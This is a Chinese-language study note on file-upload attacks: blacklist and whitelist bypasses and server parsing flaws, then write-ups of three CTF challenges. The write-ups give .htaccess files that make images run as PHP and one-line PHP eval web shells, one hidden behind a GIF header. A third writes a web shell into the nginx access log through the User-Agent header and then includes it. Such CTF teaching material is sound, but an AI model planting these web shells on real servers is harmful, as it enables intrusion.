Web入门-文件上传

MIME类型

1
2
3
4
5
6
7
8
.html:text/html
.txt:text/plain
.pdf:application/pdf
.word:application/msword
.png:image/png
.gif:image/gif
.mpg .mpeg:video/mpeg
.avi:video/x-msvideo

黑名单绕过

1
2
3
4
5
6
7
8
9
后缀大小写绕过:.Php
空格绕过:.php
点绕过:.php.(Windows系统文件名特性会自动去掉后缀名最后.)
::$DATA绕过:Windows下NTFS文件系统特性
Apache解析漏洞:解析文件从右往左判断,不可解析再往左判断,例如:aa.php.owf.rar
.htaccess文件:以php的方式解析,例如:
<FilesMatch "as.png">
SetHandler application/x-httpd-php
</FilesMatch>

白名单绕过

1
%00与0x00绕过:as.php%00.png

常见文件幻数:

jpg:FF D8 FF E0 00 10 4A 46 49 46

git:47 49 46 38 39 61

Web解析漏洞

Apache解析漏洞

test.php.qwe.asd

IIS 6.0解析漏洞

目录解析:www.xxx.com/xx.asp/xx.jpg 默认.asp目录下文件解析成asp文件。

文件解析:www.xxx.com/xx.asp;.jpg 不解析;后面内容,被解析成asp文件。

IIS 7.0解析漏洞

任意文件名/任意文件名.php

Nginx解析漏洞

一种同上,另一种:任意文件名%00.php

做题

[SWPUCTF 2021 新生赛]easyupload3.0

上传文件“.htaccess”,内容为:

1
2
3
<FilesMatch "1.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

此时upload路由下匹配文件名“1.jpg”的文件将会被当作php解析。

再上传文件”1.jpg“,内容为:

1
<?php @eval($_POST['a']);?>

拿Antsword去连。

[GXYCTF 2019]BabyUpload

上传.htaccess,Content-Type改为image/jpeg:

1
2
3
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

更改同上,上传“1.png”文件:

1
2
3
4
GIF89a
<script language='php'>
    @eval($_POST["a"]);
</script>

拿Antsword连。

[HNCTF 2022 WEEK2]easy_include

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//WEB手要懂得搜索

if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

用Wappalyzer检测到中间件Nginx,文件包含读:

1
http://node5.anna.nssctf.cn:29413/?file=/var/log/nginx/access.log

看到里面一堆UA头,就把马写在UA请求头上:

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0<?php @eval($_POST['cmd']);?>

蚁剑连上去即可。